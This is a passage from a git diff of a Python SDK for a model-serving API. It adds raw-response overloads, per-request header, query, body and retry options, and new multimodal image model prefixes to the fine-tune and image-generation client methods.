1, + lines: int = 1000, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def logs( + self, + job_id: str, + *, + offset: int = 1, + lines: int = 1000, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobLogs, "APIResponse"]: + """Fetch training logs of one fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", f"{_BASE_PATH}/{job_id}/logs", # The wire parameter is singular "line". @@ -372,11 +803,25 @@ def logs( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - _parse_logs(job_id, response_json(response)), - response, + _parse_logs( + job_id, + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) def stream_events( @@ -386,6 +831,10 @@ def stream_events( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Iterator[FineTuneEvent]: response = self._client.transport.open_stream( "GET", @@ -394,6 +843,12 @@ def stream_events( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) try: for is_error, status_code, data in _iter_sse(response): @@ -405,9 +860,18 @@ def stream_events( response.headers, ) _log_stream_error(data, response.headers) - yield FineTuneEvent(output=_try_json(data), is_error=True) + yield _parse_event( + data, + is_error=True, + strict=self._client.config.strict_validation, + response=response, + ) return - yield FineTuneEvent(output=_try_json(data)) + yield _parse_event( + data, + strict=self._client.config.strict_validation, + response=response, + ) finally: response.close() @@ -420,6 +884,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> FineTune: """Poll until the job reaches a terminal status. @@ -434,7 +902,15 @@ def wait( current = ( job if isinstance(job, FineTune) - else self.get(job_id, api_key=api_key, workspace=workspace) + else self.get( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) ) interval = poll_interval while not current.finished: @@ -451,7 +927,15 @@ def wait( ) sleep_fn(min(interval, remaining)) interval = min(interval * 2, max_interval) - current = self.get(job_id, api_key=api_key, workspace=workspace) + current = self.get( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) return self._check_terminal(current, job_id) def _check_terminal(self, job: FineTune, job_id: str) -> FineTune: @@ -475,6 +959,7 @@ class AsyncFineTunes: def __init__(self, client) -> None: self._client = client + @overload async def create( self, *, @@ -487,7 +972,59 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTune: + ... + + @overload + async def create( + self, + *, + model: str, + training_file_ids: Union[List[str], str], + validation_file_ids: Union[List[str], str, None] = None, + mode: Optional[str] = None, + hyper_parameters: Optional[Dict[str, Any]] = None, + finetuned_model: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + training_file_ids: Union[List[str], str], + validation_file_ids: Union[List[str], str, None] = None, + mode: Optional[str] = None, + hyper_parameters: Optional[Dict[str, Any]] = None, + finetuned_model: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTune, "APIResponse"]: + """Create a fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_create_body( model, training_file_ids, @@ -496,7 +1033,7 @@ async def create( hyper_parameters, finetuned_model, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _BASE_PATH, json=body, @@ -504,10 +1041,27 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_job( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + @overload async def get( self, job_id: str, @@ -515,18 +1069,77 @@ async def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTune: - response = await self._client.transport.request( + ... + + @overload + async def get( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def get( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTune, "APIResponse"]: + """Fetch one fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", f"{_BASE_PATH}/{job_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_job( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + @overload async def list( self, *, @@ -535,8 +1148,52 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTuneList: - response = await self._client.transport.request( + ... + + @overload + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTuneList, "APIResponse"]: + """List fine-tune jobs, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -544,10 +1201,27 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + @overload async def cancel( self, job_id: str, @@ -555,18 +1229,77 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = await self._client.transport.request( + ... + + @overload + async def cancel( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def cancel( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Cancel a running fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "POST", f"{_BASE_PATH}/{job_id}/cancel", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + @overload async def delete( self, job_id: str, @@ -574,18 +1307,77 @@ async def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = await self._client.transport.request( + ... + + @overload + async def delete( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def delete( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete a fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{job_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + @overload async def logs( self, job_id: str, @@ -595,8 +1387,54 @@ async def logs( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobLogs: - response = await self._client.transport.request( + ... + + @overload + async def logs( + self, + job_id: str, + *, + offset: int = 1, + lines: int = 1000, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def logs( + self, + job_id: str, + *, + offset: int = 1, + lines: int = 1000, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobLogs, "APIResponse"]: + """Fetch training logs of one fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", f"{_BASE_PATH}/{job_id}/logs", # The wire parameter is singular "line". @@ -605,11 +1443,25 @@ async def logs( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - _parse_logs(job_id, response_json(response)), - response, + _parse_logs( + job_id, + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) async def stream_events( @@ -619,6 +1471,10 @@ async def stream_events( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> AsyncIterator[FineTuneEvent]: response = await self._client.transport.open_stream( "GET", @@ -627,6 +1483,12 @@ async def stream_events( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) try: async for is_error, status_code, data in _aiter_sse(response): @@ -638,12 +1500,18 @@ async def stream_events( response.headers, ) _log_stream_error(data, response.headers) - yield FineTuneEvent( - output=_try_json(data), + yield _parse_event( + data, is_error=True, + strict=self._client.config.strict_validation, + response=response, ) return - yield FineTuneEvent(output=_try_json(data)) + yield _parse_event( + data, + strict=self._client.config.strict_validation, + response=response, + ) finally: await response.aclose() @@ -656,6 +1524,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> FineTune: job_id = _job_id(job) @@ -668,6 +1540,10 @@ async def wait( job_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) ) interval = poll_interval @@ -689,6 +1565,10 @@ async def wait( job_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return self._check_terminal(current, job_id) diff --git a/dashscope/resources/images.py b/dashscope/resources/images.py index 926cc0a9..33f4e3ad 100644 --- a/dashscope/resources/images.py +++ b/dashscope/resources/images.py @@ -11,7 +11,8 @@ * multimodal-generation — one-shot sync calls hit ``/services/aigc/multimodal-generation/generation``, async tasks hit ``/services/aigc/image-generation/generation``; ``messages`` input, - ``choices`` output. wan2.6-t2i / wan2.6-image only answer here. + ``choices`` output. wan2.6/wan2.7, kling-image, vidu-image and + z-image models only answer here. The split follows the same convention as ``chat.completions`` routing media messages to the multimodal endpoint on its own: the caller passes @@ -22,7 +23,20 @@ from __future__ import annotations -from typing import Any, Awaitable, Callable, Dict, List, Optional, Tuple, Union +from typing import ( + TYPE_CHECKING, + Any, + Awaitable, + Callable, + Dict, + List, + Literal, + Mapping, + Optional, + Tuple, + Union, + overload, +) from dashscope.errors import check_response, response_json from dashscope.resources._blocking import run_blocking @@ -40,8 +54,14 @@ OSS_RESOLVE_HEADERS, upload_media_value, ) +from dashscope.transport._options import request_options from dashscope.types.common import with_headers +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncImages", "Images", @@ -55,8 +75,15 @@ MODULE = "aigc" # Models that only answer on the multimodal-generation protocol. Prefix -# match so ``-preview``-style variants route the same way. -MULTIMODAL_MODEL_PREFIXES = ("wan2.6-t2i", "wan2.6-image") +# match so ``-pro`` / dated variants route the same way. +MULTIMODAL_MODEL_PREFIXES = ( + "wan2.6-t2i", + "wan2.6-image", + "wan2.7-image", + "kling-image", + "vidu-image", + "z-image", +) def _uses_multimodal_protocol(model: str) -> bool: @@ -95,12 +122,14 @@ def _upload_inputs( def _build_input( - prompt: str, + prompt: Optional[str], negative_prompt: Optional[str], extra_input: Optional[Dict[str, Any]], function: Optional[str] = None, ) -> Dict[str, Any]: - input_data: Dict[str, Any] = {"prompt": prompt} + input_data: Dict[str, Any] = {} + if prompt is not None: + input_data["prompt"] = prompt if negative_prompt is not None: input_data["negative_prompt"] = negative_prompt if extra_input: @@ -111,18 +140,20 @@ def _build_input( def _build_multimodal_input( - prompt: str, + prompt: Optional[str], image_urls: Optional[List[str]], extra_input: Optional[Dict[str, Any]], function: Optional[str] = None, ) -> Dict[str, Any]: """Messages-style input: text part plus one part per reference image.""" - content: List[Dict[str, Any]] = [{"text": prompt}] + content: List[Dict[str, Any]] = [] + if prompt is not None: + content.append({"text": prompt}) for url in image_urls or []: content.append({"image": url}) - input_data: Dict[str, Any] = { - "messages": [{"role": "user", "content": content}], - } + input_data: Dict[str, Any] = {} + if content: + input_data["messages"] = [{"role": "user", "content": content}] if extra_input: input_data.update(extra_input) if function is not None: @@ -255,7 +286,12 @@ def _build_multimodal_body( return body -def _parse_sync_job(payload: Dict[str, Any]) -> Job: +def _parse_sync_job( + payload: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> Job: """Wrap a one-shot multimodal answer in the unified Job contract. A sync response carries no task fields; mark it finished so @@ -265,7 +301,7 @@ def _parse_sync_job(payload: Dict[str, Any]) -> Job: output = payload.get("output") if isinstance(output, dict) and not payload.get("code"): output.setdefault("task_status", SUCCEEDED) - return Job.from_payload(payload) + return Job.from_payload(payload, strict=strict, response=response) class ImageJobs: @@ -281,11 +317,12 @@ def __init__(self, client) -> None: self._synthesis = Jobs(client, SERVICE, MODULE) self._generation = Jobs(client, TASK_SERVICE, MODULE) + @overload def create( self, *, model: str, - prompt: str, + prompt: Optional[str] = None, negative_prompt: Optional[str] = None, n: Optional[int] = None, size: Optional[str] = None, @@ -300,7 +337,72 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def create( + self, + *, + model: str, + prompt: Optional[str] = None, + negative_prompt: Optional[str] = None, + n: Optional[int] = None, + size: Optional[str] = None, + image_urls: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + style: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + prompt: Optional[str] = None, + negative_prompt: Optional[str] = None, + n: Optional[int] = None, + size: Optional[str] = None, + image_urls: Optional[List[str]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + style: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit an image task; returns a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying submit call before any error check. + """ image_urls, extra_input, has_upload = _upload_inputs( self._client, model, @@ -333,6 +435,11 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) return self._synthesis.create( model=model, @@ -350,8 +457,14 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def fetch( self, task_id: str, @@ -359,14 +472,61 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one image task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying fetch call before any error check. + """ return self._synthesis.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def cancel( self, task_id: str, @@ -374,15 +534,61 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying cancel call before any error check. + """ return self._synthesis.cancel( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def list( # pylint: disable=redefined-builtin self, *, @@ -397,8 +603,62 @@ def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying list call before any error check. + """ return self._synthesis.list( start_time=start_time, end_time=end_time, @@ -411,6 +671,11 @@ def list( # pylint: disable=redefined-builtin timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) def wait( @@ -422,6 +687,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: return self._synthesis.wait( @@ -431,6 +700,10 @@ def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -464,6 +737,10 @@ def generate( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """Submit and wait; returns the finished Job (``image_urls``). @@ -475,6 +752,12 @@ def generate( ``submit_timeout`` and the polling knobs do not apply. ``image_urls`` carries reference images for wan2.6-image. """ + options = request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ) if _uses_multimodal_protocol(model): image_urls, extra_input, has_upload = _upload_inputs( self._client, @@ -507,13 +790,18 @@ def generate( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=options, ) check_response( response, raise_on_error=self._client.raise_on_error, ) return with_headers( - _parse_sync_job(response_json(response)), + _parse_sync_job( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) job = self.jobs.create( @@ -533,6 +821,10 @@ def generate( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return self.jobs.wait( job, @@ -541,6 +833,10 @@ def generate( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) @@ -552,11 +848,12 @@ def __init__(self, client) -> 